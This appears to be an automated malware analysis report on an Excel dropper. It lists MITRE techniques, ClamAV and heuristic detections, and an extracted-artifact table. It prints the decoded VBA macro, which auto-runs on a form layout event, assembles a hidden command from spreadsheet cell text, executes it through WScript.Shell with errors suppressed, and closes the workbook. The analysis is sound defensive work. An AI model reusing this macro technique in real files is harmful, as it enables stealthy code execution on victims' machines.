MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The VBA macro code utilizes WScript.Shell to execute commands, as indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' heuristics. The script appears to construct a command string from constants within the spreadsheet and then executes it using 'exec@'. This suggests the macro's primary purpose is to download and execute a second-stage payload, a common dropper behavior.
Heuristics 5
-
ClamAV: Xls.Dropper.Agent-7842252-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7842252-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Next: On Error Resume Next MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Next: On Error Resume Next MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting End Sub -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1005 bytes |
SHA-256: c6e65a5ed4adf04d60acf34ec2334be007f5fca2eea8f99f9ae343549e523876 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "PtintStarting, 1, 0, MSForms, Frame"
Private Sub PtintStarting_Layout()
For Each Ass In [A30:GQ2000].SpecialCells(xlConstants)
If Len(Ass) > 2.44 Then A1_1 = A1_1 & Mid(Ass.Text, 2, 1)
Next: On Error Resume Next
MsgBox Len(Wscript.echo(CreateObject("WScript.Shell").exec@(A1_1).readAll#())): EndPrinting
End Sub
Sub EndPrinting()
ActiveWorkbook.Close False
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.